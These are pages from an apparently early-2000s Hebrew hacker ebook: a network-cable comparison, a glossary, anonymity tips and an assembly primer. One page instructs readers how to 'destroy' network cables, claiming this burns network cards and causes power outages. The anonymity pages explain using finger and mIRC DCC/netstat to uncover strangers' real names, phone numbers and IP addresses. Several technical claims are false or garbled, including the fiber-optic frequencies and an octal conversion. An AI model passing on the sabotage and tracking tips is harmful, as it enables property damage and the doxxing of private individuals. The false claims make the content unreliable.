‫הפרעות‪ :‬נמוך מאוד‬ ‫הפרעות‪ :‬נמוך מאוד‬
‫עלות‪ :‬גבוהה‬ ‫עלות‪ :‬נמוך‬

‫‪196‬‬
‫כבל סיב אופטי – ‪.Fiber Optic‬‬
‫חיבור הרשת הטוב ביותר שקיים‪.‬‬
‫הנתונים מועברים בדרך אור ולא כאות חשמלי‪.‬‬
‫הכבל אינו רגיש להפרעות ואינו מחולל הפרעות ופגיעות בקו השידור‪.‬‬
‫הם מסוגלים להעביר כמות אדירה של מידע לעומת כבלים אחרים‪.‬‬
‫בלתי אפשר לצטט ולהפריע לכבל‪.‬‬
‫כך הנתונים עוברים בכבל כאשר כל דפנה היא כמו מן מראה‪:‬‬

‫הכבל בנוי מ – ‪ Input‬ו – ‪.OutPut‬‬


‫כאשר ה‪ OUTPUT -‬שולח תגובות אור כ – ‪.2mhz‬‬
‫וה‪ INPUT -‬שולח תגובות אור כ – ‪.12mhz‬‬

‫טבלת סיכום לכבל האופטי‪:‬‬


‫אורך מירבי – ‪2000M‬‬
‫מהירות – ‪100-2000Mbps‬‬
‫התקנה‪/‬תחזוקה – קשה‬
‫הפרעות – אין ‪ ,‬לא היו ולא יהיו‪.‬‬
‫עלות – יקר במיוחד – ‪ 7‬דולר למטר (נכון לשנת ‪.)2000‬‬

‫טבלת סיכום כללית ‪:‬‬

‫עלות‬ ‫הפרעות‬ ‫התקנה‬ ‫‪MBPS‬‬ ‫אורך‬ ‫סוג כבל‬


‫נמוך‬ ‫גבוה‬ ‫קלה‬ ‫‪10-100‬‬ ‫‪100‬‬ ‫‪TP/UTP‬‬
‫נמוך‬ ‫גבוה‬ ‫קלה‬ ‫‪16-155‬‬ ‫‪100‬‬ ‫‪STP/SUTP‬‬
‫נמוך‬ ‫נמוך‬ ‫קלה‬ ‫‪10‬‬ ‫‪185‬‬ ‫‪ThinNet‬‬
‫גבוה‬ ‫נמוך מאוד‬ ‫קשה‬ ‫‪10‬‬ ‫‪500‬‬ ‫‪ThickNet‬‬
‫גבוה במיוחד‬ ‫אין‬ ‫קשה מאוד‬ ‫‪100-2000‬‬ ‫‪1000‬‬ ‫‪Optic‬‬

‫‪By Pirs[I]ng‬‬

‫‪197‬‬
‫איך להרוס סוגים שונים של כבלים‬

‫דרכים להרוס את הכבלים הנ"ל‪ :‬אני לא אפרט מה עושה מה כי זה יקח שנים פשוט אני אכתוב‬
‫מה לעשות‪ ,‬איך ולאיזה קבל‪.‬‬

‫‪ – TP / UTP / STP / SUTP‬אתם לוקחים קיסם ומכסים אותו בסוכר‪.‬‬


‫תוקעים אותו בתוך הכבל‪ ,‬בערך באמצע שלו‪ .‬תדאגו שהמקום שבו תקעתם את הקיסם מכוסה‬
‫הסוכר הוא קרוב לשמש‪ ,‬גלוי לשמש‪ .‬תשאירו את הכבל ככה ל ‪ 22‬שעות והוא גמור‪.‬‬

‫‪ – ThinNet / ThickNet‬אתם לוקחים את הכבל ופותחים אותו‪ .‬תראו מה יש בפנים‪.‬‬


‫לפי מה שאני יודע אתם תמצאו שם ‪ 4‬חוטים אדומים וכל השאר לא מעניינים‪.‬‬
‫קחו את ההארבעה האדומים הללו וחפשו אותם‪ .‬עכשיו חברו את כל הקצוות החשופים אם‬
‫צלוטייפ (או כל נייר דבק אחר שיחזיק אותם ליום שלם)‪ .‬לאחר כ –‪ 14‬שעות בערך יהיה קצר‬
‫הכבל ישרף‪ ,‬גם הכרטיס רשת‪ ,‬ותהיה הפסקת חשמל‪.‬‬

‫‪By Pirs[I]ng‬‬

‫‪198‬‬
‫מושגים‬

‫‪ - Admin‬אדמינסטור (מנהל רשת)‬


‫‪ - DNS - dmain name server‬שם של דומיין שניתן ע"י שרת כשלהו‬
‫‪ISO - Organization for International Standards / International Standardization‬‬
‫‪Organization‬‬
‫‪ - TCP/IP‬פרוטוקול התקשורת הנפוץ ביותר בעולם ומהווה את הבסיס לרשת האינטרנט‪.‬‬
‫מבוסס על העקרון שלכל מחשב המחובר לרשת יש כתובת אי‪.‬פי המייצגת אותו‬
‫ועל ידי קריאה למספר זה ניתן להעביר מידע ממחשב למחשב‪.‬‬
‫הבסיס בשיטת העברת נתונית זו היא הפטקא‪ .‬לכל פטקא מומצד תווית מוצא ומטרה‬
‫האומרות לפאקט לאן להשלח‪ .‬הפאקט מועבר בעצמות פרוטוקול הטי‪.‬סי‪.‬פי‪/‬אי‪.‬פי‬
‫‪ - LAN‬רשת מקומית‪.‬‬
‫‪ - WAN‬כמו רשת מקומית רק גדולה יותר בטווח‪.‬‬
‫‪ - WWW - World Wide Web‬רשת האינטרנט‪.‬‬
‫‪ - PPP‬פרוטוקול המשמש לחיבור מחשבים דרך מודם‪ .‬נפוץ בשימוש בעת חיבור לאינטרנט‪.‬‬
‫‪ - PAP‬פרוטוקול לאימות סיסמא וזיהוי המשתמש‪.‬‬
‫‪ .Repeater - Works under Physical Layer on the OSI‬משחזר‪ ,‬מתגבר על מגבלות מרחק‬
‫ומשחזר את האות אשר הגיע מהצד הרחוק‪.‬‬
‫‪ - Bridge‬גשר‪ ,‬משש לחיבור צמתים שונים ברשת‪ ,‬לגשרים אין כתובות ואי אפשר לפנות אליהם‬
‫לצורך מסוים‪.‬‬
‫‪ - Router‬נתב‪ ,‬בוחן את כתובות היעד ומחליט מאיזה נתיב לשדר ולאן‪.‬‬
‫‪ - RIP - Routing Information Protocol‬בחירת נתיב שידור כתוצאה מבחירה בעזרת בדיקה‬
‫אשר בודקת מספר קוי תקשורת מינימליים‪.‬‬
‫‪ - SPF - Shortest Path First‬שיפור של הריפ בשיטת בחירה זאת נלקחים בחשבון הפריטים‬
‫הבאים ‪ :‬מחיר הקו‪ ,‬עומס ומהירות תעבורה‪.‬‬
‫‪ - GateWay‬שער גישור‪ ,‬יחידת הפלט של הראוטר ‪ ,‬משם יוצא המידע לא משנה באיזה דרך‬
‫שידור‪ .‬משם הוא יוצא !‬
‫‪ - PING‬שולח פאקט למחשב מסויים שאומר למחשב להחזיר תשובה וכך בודק את זמן התגובה‬
‫של‬
‫המחשב ורואה את מהירות החיבור בין שתיי המחשבים‪.‬‬
‫‪ - FTP - File Transport Protocol‬יישום זה מאפשר העברת קבצים בין מחשבים שונים ברשת‪.‬‬
‫‪ - Email‬יישום הדואר האלקטרוני אשר מאפשר שליחת דואר אלקטרוני בכל רחבי רשת‬
‫האינטרנט‪.‬‬
‫‪ - HTTP‬תקן לדפי היפר טקסט אשר מוצגים באינטרנט‪)HTML( .‬‬
‫‪ - TELNET‬יישום המאפשר חיבור כמסוף אל מחשב מרוחק ברשת‪.‬‬
‫‪ - IRC‬פרוטוקול אשר מאפשר שיחה בין אנשים ברשת בזמן אמת‪.‬‬
‫‪ - Packet‬קבוצת נתונים קצרה המשודרת ברשת ברצף‪ .‬מידע הזורם ברשת מפורק לפאקטים‬
‫קטנים (מנות‪ ,‬חבילות) על‬
‫מנת להקל על בקרת שגיאות‪ .‬פאקט בעצם מעביר מידע בין מחשבים‪.‬‬
‫‪ - BaseBand‬פס בסיס‪ ,‬בשיטה הזאת קיים פס תקשורת פיסי אשר מקשר בין שתי מערכות או‬
‫יותר‪.‬‬
‫‪ - BroadCast‬שידור של אות או אותות כלשהם‬
‫‪ - Hub‬מכשיר אלקטרוני המכיל חיבוריי רשת רבים‪ .‬לכל אחד מהחיבוריפם ניתן לחבר מחשב‬
‫בעזרת כבלי רשת‪.‬‬
‫המכשיר מקבל אותות של מידע מהמחשבים שמבחורים ברשת ומעביר אותם למחשבים‬
‫האחרים או לכתובת יעד‬
‫אחרת לפי בקשת המידע‪.‬‬
‫‪ - Modem‬מודם‪ ,‬חומרה אשר מאפשרת לך להתחבר לאינטרנט ע"י קו טלפון והגדרת‬
‫פרוטוקולים נכונים‪.‬‬
‫‪ - pptp = Point - to - Point - Tunneling Protocol‬מספק סקירה כללית של פרוטוקול תיעול‬
‫נקודה לנקודה‪.‬‬

‫‪199‬‬
‫‪ - BackDoor‬שורות קוד שמישהו הכניס במכוון כדי לאפשר לעצמו (בד"כ) גישה למשהו על מחשב‬
‫אחר יותר בקלות‪..‬‬
‫לדוגמא קוד שיפתח פורט מסויים רק לאי פי מסויים ויתן לו לכתוב שם פקודות קבועות‬
‫שיבצעו‬
‫פעולה כלשהי לפי מה שמכין הבאקדור קבע‪.‬‬
‫לפעמים האקרים אשר מצאו את הבאקדור מנצלים את זה ומכינים כמה נוספים כדי‬
‫שהפריצה הבאה למערכת תהיה פשוטה יותר !‬
‫‪ - Exploit‬ניצול של חורי אבטחה ‪ -‬קודים\דרכים לנצל חורי אבטחה במערכות ‪..‬‬
‫‪. - LinuX‬מערכת הפעלה המבוססת על יוניקס ‪ ,‬בעלת קוד פתוח וניתנת להורדה ולשימוש בחינם‬
‫‪ - FireWall‬מערכת להגנה מפני גישה לא מורשת למחשב מקומי או רשת מקומית שמחוברת‬
‫לאינטרנט‪.‬‬
‫‪ - Proxy‬שרת המוקם על ידי ספקי שירות (חברות אינטרנט‪ ,‬חברות גדולות וכו') למען לקוחותיו‬
‫ותפקידו ליצור‬
‫קשר עם מחשבים ברשת ולשלוף מהם מידע על פי בקשת הגולשים‪ .‬לשרת הפרוקסי חיבור‬
‫מהיר הרבה יותר‬
‫משל הגולש הממצוע עם המודם ולכן משמש כמקום מהיר בהרבה לקבלת קבצים ממנו‪.‬‬
‫אם הרבה אנשים מבקשים את אותו קובץ ‪ -‬הקובץ נשמר בשרת הפרוקסי‪ ,‬ובכך חוסך‬
‫לגולשים את ההמתנה‬
‫לקבלת המידע משרת האינטרנט המרוחק‪ .‬על שרתי פרוקסי יש גם הגנה ולכן הם יכולים‬
‫לשמש כפיירוול‬
‫אבל בר‪.‬‬
‫‪ - Protocol‬סדר פקודות\הוראות מוסכמות ומאפשרות לתכנן מערכות בכל העולם שיבינו ויוכלו‬
‫לתקשר אחת עם השניה‪.‬‬
‫‪ - Binary‬שפה המורכבת מ ‪ 1 ,0 -‬והמחשב מבין אותה‪ ,‬רק אותה‪.‬‬
‫‪ - )Socket )Hardware‬התקן אשר לתוכו אפשר לתקוע רכיב אלקטרוני ולשחררו ללא צורך‬
‫בהלחמה‪.‬‬
‫‪ - )Socket )Software‬כדיי שתוכנה תוכל לתקשר עם מחשב אחר עליה ליצור קשר דרך סוקט‪,‬‬
‫התוכנה מבצעת‬
‫פתיחה של סוקט לתוך סוקט שפתוח כשרת על מחשב אחר ויוצרת חיבור בין‬
‫המחשבים‬
‫ומעבירה פאקטים בינהם‪.‬‬
‫‪ - Compiler‬מחולל שינוי במה שכתבת בשפה תכנות כלשהי והופך את זה לשפת מחשב‪ ,‬בינארי ‪.‬‬

‫‪. By Pirs[I]ng & Rul3r‬‬

‫‪200‬‬
‫אנונימיות ‪ -‬אין להיות אנונימי ואיך לגלות דברים על אנשים אחרים‬

‫טוב כולכם אבל אני מדגיש כולכם ממש ממש ממש לא אנונימיים כל פעם שאתם מורידים קובץ‬
‫מאתר אז אנשי האתר יכולים (אם הם רוצים) לדעת עליכם ‪:‬‬
‫‪IP‬‬
‫‪ISP‬‬
‫ארץ‬
‫עיר‬
‫סוג הדפדפן‬
‫‪OS‬‬
‫רזולוציית מסך‬
‫ה ‪ URL‬הקודם שביקרתם בו‬

‫עכשיו אתם בטח אומרים ‪ :‬נו אז מה למי איכפת שהאתר ידע מה רזולוציית המסך שלי‪...‬‬
‫אז אתם טועים ובגדול כי אם אתר מחורבן יכול לעשות את זה אז לאדם שקצת מתמצא בנושא‬
‫אז זה לא בעיה לגלות עליכם דברים הנה עוד דוגמא ‪:‬‬
‫במירס אפשר גם כן לגלות על מישהו הרבה דברים (במקרה הטוב הוא לא מסתיר את הדברים‬
‫האלה)‬
‫שם אמיתי‬
‫כתובת‬
‫אי מייל‬
‫‪IP‬‬
‫‪ISP‬‬
‫ארץ‬
‫עיר‬

‫אותו דבר גם במשחקי רשת ודברים כאלה‪....‬‬

‫נגיד אם יש לכם אי מייל של ה‬


‫‪ISP‬‬
‫שלכם הנה דוגמא אם לא הבנתם‪:‬‬

‫‪muki@zahav.net.il‬‬

‫אז אתם יכולים להכנס ל‬


‫‪zahav.net.il‬‬
‫פורט‬
‫‪79‬‬

‫שזה פורט‬
‫‪FINGER‬‬
‫ושם אתם יכולים לגלות מלא על מוקי שלנו כמו שם אמיתי פעם אחרונה שהוא התחבר לפעמים‬
‫מספר טלפון אם יש לו אי מייל אחר‬
‫עכשיו אני לא יודע אם זה מקומי או כללי וורטקס אמר לי שזה מקומי והוא נתן לי הסבר מאוד‬
‫מאוד משכנע וסייבר פאנק ועוד איזה אחד אמרו לי שזה כללי ולא נתנו לי הסבר תחליטו לבד‪...‬‬
‫איפה הקאצ'‬
‫הנה יש מלא סרברים שחסמו את זה אבל אם זה באמת מקומים אז יש לכם יותר סיכוי להצליח‬
‫למצוא כי יש יותר‬
‫(יותר סרברים יותר סיכוי)‬

‫נכון זה נורא מעצבן אם אתם רוצים לדבר עם מישהו באיי סי קיו והוא יענו לא מחובר אבל יש‬
‫לכם הרגשה שהוא מתעלם ממכם אז אני מביא את הגאולה נכון יש תוכנה שמגלה אבל הרבה‬
‫הרבה יותר כיף לעשות דברים ידנית (אפילו לקרוא אי מייל) אם אתם יודעים את האי מייל שלו‬
‫אז תכנסו לפינגר שדיברתי עליו מקודם ותראו אם הוא באינטרנט או לא‬

‫‪201‬‬
‫מייל אנונימי‬

‫כל פעם שאתם מקבלים אי מייל אז אם תלחצו לחצן ימני על המייל ואז ‪ proparties‬אז תקבלו‬
‫את ה ‪ IP‬של השולח אפילו אם תשלחו אי מייל מזוייף עם טלנט יראו את ה ‪ IP‬שלכם (זאת אחת‬
‫הדרכים לגלות אי מייל מזוייף)‬
‫שאלה‪ :‬איך עוקפים את זה?‬
‫אז יש ‪ remailer‬שזה כמו לינק אם שולחים ל נגיד ‪ muki@remailer.com‬אז זה אוטומטית‬
‫מעביר את הדואר ל ‪muki@zahav.net.il‬‬
‫זה טוב ויפה אבל מה קורה כשאתם רוצים לשלוח דואר אז יש שירותי ‪ remailer‬שזה כמו פרוקסי‬
‫אחרי השליחה רואים את ה ‪ IP‬של ה ‪ remailer‬ולא את שלכם‬
‫שאלה‪ :‬איך משתמשים בשירותי ‪ remailer‬לשליחת דואר אנונימי?‬
‫אז אתם נכנסים עם טלנט לשרת פורט ‪ 25‬מכניסים את השם משתמש והסיסמא (רישום חינם)‬
‫ואז משם אתם שולחים אם אתם לא בדיוק מבינים מה לעשות מקסימום תדברו איתי במירס‬

‫עוד שיטה לאי מייל אנונימי אבל זה סוג אחר של אנונימיות המטרה של זה שאחרים לא יקראו‬
‫ולא שלא יגלו אותך אז הנה השיטה‬
‫‪PGP‬‬
‫אם אתם לא יודעים מה זה תכנסו ל ‪ www.whatis.com‬ותחפשו שם (יש שם הסברים מצויינים‬
‫כמעט לכל דבר)‬

‫עוד על הדואר‬

‫שאלה‪ :‬איך אני מגלה אם הדואר שקיבלתי מזוייף או לא?‬


‫קודם כל יש את ה ‪ header‬כדי להכנס אליו לוחצים לחצן ימני על המכתב ‪ properties‬שם ב‬
‫‪details‬‬
‫זה בעצם ה ‪ header‬עכשיו אם הוא קצר (עשר שורות אבל כל שורה דיי קצרה) אז זה כבר מעלה‬
‫חשד עכשיו את תסתכלו ב ‪ header‬תראו שיש שם אנפורמציות דיי מענינות כמו האיי פי של‬
‫השולח שרת הדואר שממנו נשלח או שרת הדואר שמצויין אם זה באמת מזוייף אז זה השרת‬
‫שהתחברו אליו וממנו זייפו אז אם זיוף רציני על משהו חשוב אז החברה יכולה להסתכל בלוגים‬
‫של השרת ולראות לפי האיי פי שלכם (הוא כבר כתוב ב ‪ ) header‬מה בדיוק מה עשיתם אז נחזור‬
‫לעניינינו איך מגלים אם זה מזוייף‪ ,‬אז באי מייל אמיתי יש ‪ STMP ID‬אם אין זה בטוח מזוייף‬
‫אבל גם אם יש זה עדיין לא מאה אחוז מזוייף עוד דבר יש תוכנה שאם מכניסים איי פי אז הוא‬
‫אומר לך איזה ‪ ISP‬זה אם תעשו את זה אז זה ממש עוזר כי קיבלתם מייל מאנגליה ואתם‬
‫חושדים שזה מזוייף תכנסו לתוכנה תכניסו את ה ‪ IP‬ואם כתוב שזה נגיד אינטרנט זהב אז זה לא‬
‫אנגליה‪...‬‬
‫האתר של התוכנה הזאת היא בסוף הטקסט בקטע של הלינקים‬

‫‪Coockies‬‬

‫אני מניח שאתם כבר יודעים מה זה אז מה לעזאזל אני רוצה ממכם אז זהו שאם מישהו משיג את‬
‫הקוקיז שלכם לא הכי קשה להשיג אז יש לו סיכוי קטן אבל יש לפענח את ההצפנה של הקוקי‬
‫במיוחד אם זה אתר מחורבן‬
‫ועוד משהו אתרים יכולים לגלות עליכם הרבה יותר ממה שאתם חושבים רק על ידי שימוש‬
‫בקוקיז‬
‫מסקנה‪ :‬כדאי למחוק אותם אבל לא צריך להיות יותר מידי פרנואידים‬

‫‪202‬‬
‫קבצים שמכילים פרטים עליכם‬

‫טוב אם אתם רוצים למחוק את כל הקבצים שמכילים פרטים עליכם כדאי שתשרפו את ההארד‬
‫דיסק אבל הנה דברים שאתם יכולים למחוק‬
‫קוקיז (בתיקייה של הקוקיז וב ‪ temporary internet files‬יש גם שם מלא קוקיז)‬
‫‪FILE0001.chk‬‬
‫‪FILE0001.chk‬‬
‫בדרך כלל נמצאים בכונן סי‬

‫‪MIRC‬‬

‫אין כל כך הרבה מה לעשות או שיש ואני לא אומר‪ ): ...‬סתאאאאאם‬


‫אפשר בשרתים מסויימים להסתיר את האיי פי על ידי הפקודה הבאה‬
‫‪mode yournick +x/‬‬
‫לא בכל השרתים זה עובד‬
‫שאלה‪ :‬טוב ויפה אבל איך מגלים איי פי במירס זה מה שכולנו באמת רוצים לדעת‪...‬‬
‫אז אפשר לעשות‬
‫‪DCC chat‬‬
‫ואז לעשות ‪netstat‬‬
‫תאמינו לי עובד מצויין‬
‫או‬
‫‪dns/‬‬
‫יש שרטים שחוסמים את זה (רובם) בגלל זה השיטה שקודמת הרבה יותר טוב‬
‫אפשר גם במירס להכניס פרוקסי תבדקו באפשרויות של מירס ממש פשוט להכניס שם את‬
‫הפרטים‬

‫‪ICQ‬‬

‫כדי להסתיר את האיי פי שלכם תעשו את הדברים הבאים‪:‬‬


‫כנסו ל ‪ Preferences‬שם לכן ל ‪ connections‬שם תסמנו את ‪I'm using a permanent internet‬‬
‫‪)conection )LAN‬‬
‫שם תסמנו את ‪ I am behind a fire-wall‬תסמנו את ‪ I am using a sock 4 proxy‬תלחצו ‪next‬‬
‫אחרי זה הוא יבקש איי פי תתנו את האיי פי של הפרוקסי אחרי זה הוא ישאל אותכם על ‪sock‬‬
‫‪ port 4‬תכתבו שם ‪ 4000‬אחרי זה תסמנו את ‪open an outgoing UPD port 4000 on my fire-‬‬
‫‪ wall‬תלחצו ‪ next‬אחרי זה תופיע ההודעה ‪ check my fire-wall/proxy conection‬חשוב מאוד‬
‫להיות מחובר לאינטרנט אבל לא לרשת ה ‪ ICQ‬זה חשוב מאוד‬
‫זהו‬
‫כדי להחזיר את המצב פשוט תחזרו למצב מודם רגיל בהגדרות‬

‫לינקים‬
‫‪ http://www.pgpi.com‬על הצפנה והצפנת האי מיילים שלכם‬
‫‪ http://www.cyberarmy.com/lists‬רשימה של פרוקסיז אנונימיים טובים‬
‫‪ http://www.multiproxy.org/anon_list.htm‬רשימה של פרוקסיז מצוווווינים (תודה‬
‫לסינטאקס)‬
‫‪ - www.neotracer.com‬התוכנה שמאתרת איי אס פי‬

‫‪By NDR113‬‬

‫‪203‬‬
‫אסמבלר‬

‫מה זה אסמבלר בכלל ? בטוח שמעתם את השם הזה פעם או פעמיים בחיים אז אני יסביר מה זה ולמה זה‪.‬‬
‫מה בכתבה ?‬
‫• הסבר קצר על אסמבלר‬
‫• בסיסי ספירה‬
‫• המרה מבינארי לדצימלי‬
‫• אוגרים‬
‫•פקודות‬
‫הסבר‪.‬‬
‫אסמבלר היא שפת תכנות אשר לוקחת פקודות מחשב פשוטות והופכת אותם לחבילות של ביטים אשר‬
‫עובדים תחת אוגרים ומריצים את הפקודות שכתבתם בה בתור תוכנית‪.‬‬
‫אסמבלר היא שפת סף‪ ,‬היא לא שפה עלית כמו סי או ויז'ואל בייסיק‪.‬‬

‫‪ */‬הכוונה היא‪ C :‬לדוגמה היא שפת תכנות הגיונית‪ .‬אתם אומרים לה‬
‫‪printf‬‬
‫והיא מדפיסה משהו על המסך‪ .‬לעומתה אסמבלר זה הדבר הכי קרוב לשפת מכונה (אחרי שפה בינארית‬
‫כמובן) שאפשר לתכנת בו‪ .‬אם תסתכלו על קוד של אסמבלי לא תבינו מיד מה הוא עושה‪ ,‬אלא תצטרכו‬
‫לעקוב‪ ,‬לחשוב‪ ,‬להסתכל ולנסות להבין מה בדיוק דוחפים למחסנית ולמה כשעושים‬
‫‪push %eax‬‬
‫לדוגמה‪ .‬בלאדי‪/* .‬‬

‫נתחיל את כל הלמידה שלנו ממשהו פשוט‪:‬‬

‫בסיסי ספירה‪.‬‬
‫הקסדצימלי (בסיס ‪)16‬‬ ‫דצימלי (בסיס ‪)10‬‬ ‫אוקטאלי (בסיס ‪)8‬‬ ‫בינארי (בסיס ‪)2‬‬
‫‪0‬‬ ‫‪0‬‬ ‫‪0‬‬ ‫‪0000‬‬
‫‪1‬‬ ‫‪1‬‬ ‫‪1‬‬ ‫‪0001‬‬
‫‪2‬‬ ‫‪2‬‬ ‫‪2‬‬ ‫‪0010‬‬
‫‪3‬‬ ‫‪3‬‬ ‫‪3‬‬ ‫‪0011‬‬
‫‪4‬‬ ‫‪4‬‬ ‫‪4‬‬ ‫‪0100‬‬
‫‪5‬‬ ‫‪5‬‬ ‫‪5‬‬ ‫‪0101‬‬
‫‪6‬‬ ‫‪6‬‬ ‫‪6‬‬ ‫‪0110‬‬
‫‪7‬‬ ‫‪7‬‬ ‫‪7‬‬ ‫‪0111‬‬
‫‪8‬‬ ‫‪8‬‬ ‫‪-------------------‬‬ ‫‪1000‬‬
‫‪9‬‬ ‫‪9‬‬ ‫‪-------------------‬‬ ‫‪1001‬‬
‫‪A‬‬ ‫‪10‬‬ ‫‪-------------------‬‬ ‫‪1010‬‬
‫‪B‬‬ ‫‪11‬‬ ‫‪-------------------‬‬ ‫‪1011‬‬
‫‪C‬‬ ‫‪12‬‬ ‫‪-------------------‬‬ ‫‪1100‬‬
‫‪D‬‬ ‫‪13‬‬ ‫‪-------------------‬‬ ‫‪1101‬‬
‫‪E‬‬ ‫‪14‬‬ ‫‪-------------------‬‬ ‫‪1110‬‬
‫‪F‬‬ ‫‪15‬‬ ‫‪-------------------‬‬ ‫‪1111‬‬
‫כמה דברים שכדאי לזכור !!!‬
‫‪.1‬בסיס בינארי מתאפיין רק בשני מספרים‪ 0 ,‬ואחד‪.‬‬
‫‪.2‬במספרים בינארי יש דבר שנקרא אפס מוביל‪ ,‬למשל אתה צריכים מילה בינארית למילת מחשב בת ‪7‬‬
‫אותיות אבל מספר הבינארי שלכם הוא ‪ 6‬אותיות אז אתם יכולים להוסיף אפס משמאל והמחשב‬
‫מתייחס אליו כמו ל ‪ 0‬ואילו אם תוסיפו מצד שני‪ ,‬זה יהיה מספר אחר והמחשב לא יריץ את התוכנית‬
‫הנכונה‪ .‬דוגמא‪:‬‬
‫‪ 6‬אותיות – ‪ 7 , 1101010‬אותיות – ‪ ,01101010‬שימו לב לאפס האדום שהוספתי‪.‬‬
‫‪ .3‬כל בסיס פרט לבינארי ימשיך את סדרת המספרים העולה עד למספר של הבסיס פחות אחד‪ ,‬דוגמא‪,‬‬
‫בסיס ‪ 15‬יהיה מספר ‪ .0-14‬בסיס ‪ 99‬יהיה מספרים ‪.0-98‬‬
‫‪ .4‬הטבלה שלמעלה תעזור לכם להמיר מספר‪ ,‬אם אתם צריכים להמיר מספר ‪ 15‬באוקטלי למספר‬
‫בדצימלי אז מה עושים ?‬

‫‪204‬‬
‫לוקחים את ‪ 1‬שזה ‪ 0001‬ולוקחים את ‪ 5‬שזה ‪ 0101‬ומחברים‪ ,‬קיבלתם ‪ 000101010‬ועכשיו עושים המרה‬
‫למספר רגיל (דצימלי)‪ .‬והנה ההסבר איך להפוך מבינארי לעשרוני (דצימלי)‪.‬‬
‫המרה מבינארי לדצימלי‪:‬‬

‫איך אני הופך מבינארי לעשרוני‪.‬‬


‫הסבר ודוגמא‪:‬‬
‫ניקח את המספר ‪ ,00110011‬בחישוב מהיר הוא מסמל את המספר ‪.51‬‬
‫אוקי איך עשיתי את זה‪.‬‬
‫הנה היא הטבלה של הבינארי – במחשבים‪.‬‬

‫‪128‬‬ ‫‪64‬‬ ‫‪32‬‬ ‫‪16‬‬ ‫‪8‬‬ ‫‪4‬‬ ‫‪2‬‬ ‫‪1‬‬


‫נכניס את הבינארי מתחת‪.‬‬
‫‪0‬‬ ‫‪0‬‬ ‫‪1‬‬ ‫‪1‬‬ ‫‪0‬‬ ‫‪0‬‬ ‫‪1‬‬ ‫‪1‬‬

‫עכשיו אם יש מתחת לספרה האמיתית ‪ 0‬אז המספר שווה אפס אבל אם יש אחד אז הוא שווה כמה שכתוב‬
‫מעל ה ‪.1‬‬
‫למשל‪:‬‬
‫יש אחד מעל האחד אז זוכרים ‪ ,1‬יש אחד מעל ה ‪ ,2‬זוכרים עוד ‪,2‬‬
‫וכו' עד שמגיעים ל‪.51 = 1+2+16+32 :‬‬
‫ברור ? אני אתן לכם פה תרגילים או שתיים‪:‬‬
‫‪? = 11001100‬‬
‫‪? = 00000010‬‬
‫בראשון אמור לצאת ‪.204‬‬
‫בשני אמור לצאת ‪.2‬‬
‫אני מקווה שהבנתם אם לא תקראו שוב כי זה לא ממש קשה‪.‬‬
‫עכשיו איך הופכים מעשרוני לבינארי? זה קצת יותר מסובך אבל עדיין נכנס להגדרה של קל‪.‬‬
‫ניקל את המספר ‪ 143‬ואז מה עושים ?‬

‫‪128‬‬ ‫‪64‬‬ ‫‪32‬‬ ‫‪16‬‬ ‫‪8‬‬ ‫‪4‬‬ ‫‪2‬‬ ‫‪1‬‬

‫יאללה בוא נתחיל‪ ,‬משמאל לימין‪,‬‬


‫האם ‪ 143‬נכנס בתיבה של ‪ ,128‬אם הוא גדול מ ‪ 128‬זה אומר שכן‪ ,‬אז נרשום שם אחד‪.‬‬
‫עכשיו נשאר לנו ‪.)143-128( 15‬‬
‫נמשיך‪ 15 ,‬נכנס ב ‪ ,64‬לא‪ .‬נכתוב שם אפס‪ ,‬האם ‪ 15‬נכנס ב ‪ ,32‬גם לא‪ ,‬נשאיר שם אפס‪.‬‬
‫‪ 15‬לא נכנס ב – ‪ ,16‬אז נכתוב גם שם ‪.0‬‬
‫‪ 15‬נכנס ב ‪ ,8‬כן אז נכתוב שם אחד ונשאר לנו ‪. )15-8( 7‬‬
‫‪ 7‬נכנס ב ‪ ,4‬כן נכתוב אחד ונשאר לנו ‪)7-4( 3‬‬
‫‪ 3‬נכנס ב שתיים‪ ,‬כן נכתוב שם אחד ונשאר לנו אחד (‪.)3-2‬‬
‫ועכשיו נשאר אחד והוא מתאים בול לאחד בסוף אז גם שם נכתוב ‪.1‬‬
‫איזה בינארי יצא לנו ?‬
‫‪10001111‬‬
‫מקווה שהבנתם‪ ,‬אם לא‪ ,‬אז תחזרו על זה…‬
‫‪128‬‬ ‫‪64‬‬ ‫‪32‬‬ ‫‪16‬‬ ‫‪8‬‬ ‫‪4‬‬ ‫‪2‬‬ ‫‪1‬‬
‫‪1‬‬ ‫‪0‬‬ ‫‪0‬‬ ‫‪0‬‬ ‫‪1‬‬ ‫‪1‬‬ ‫‪1‬‬ ‫‪1‬‬
‫אוקי אז עכשיו תתרגלו את זה עד שתעשו את זה בלי דף נייר ובלי מחשבון (שזה הדרך הקלה)‪.‬‬
‫** הנה שיטה שתעשה לכם חיים קלים‪ ,‬אם צריכים להפוך מספר מבסיס ‪( X‬כל בסיס חוץ מבינארי) לבסיס‬
‫דצימלי (עשרוני) אז קודם עושים המרה לבינארי לפי הטבלה שלמעלה ואז מבינארי לעשרוני‪ ,‬תאמינו לי‬
‫הכי קל‪.‬‬
‫עכשיו… הייתי מעוניין להתחיל לדבר קצת על אוגרים‪.‬‬

‫אוגרים‪:‬‬
‫אוגרים הם בעצם תאי זיכרון בתוך המעבד‪ ,‬ישנם ‪ 4‬אוגרים כלליים שבד"כ מתכנתים באסמבלר‬
‫משתמשים בהם והם‪ Ax, Bx, Cx, Dx ,‬וישנו עוד אוגר ‪ IP‬אבל לא צריך אותו כרגע‪ ,‬נחזור אליו‬
‫בעתיד‪.‬‬
‫כל אוגר הוא אוגר של ‪ 16‬סיביות‪ ,‬שניתן לחלקו לשני חלקים‪ ,‬כל חלק ‪ 8‬סיביות‪.‬‬

‫‪205‬‬
‫עכשיו מה הפרוש הפרקטי של כל אוגר ‪:‬‬
‫‪Ax – accumulator‬‬
‫‪Bx – base‬‬
‫‪Cx – count‬‬
‫‪Dx – data‬‬
‫‪IP – instruction pointer‬‬

‫‪ */‬פירסינג יקירי‪ ,‬שכחת לציין מה תפקידו של כל אוגר…‬


‫ככה‪ AX :‬משמש בד"כ לזכור ערכים‪ .‬ביצעתם פעולה חשבונית? אחסנתם מספר? זה בד"כ יהיה‬
‫מאוחסן באוגר הזה‪.‬‬
‫‪ BX‬אומר לפי איזה בסיס לבצע חישובים‪ .‬לא מעניין כרגע‪.‬‬
‫‪ CX‬הוא מונה‪ .‬אם יש לכם לופ ואתם צריכים מונה‪ ,‬תשתמשו באוגר הזה‪.‬‬
‫‪ DX‬גם לאחסון ערכים‪.‬‬
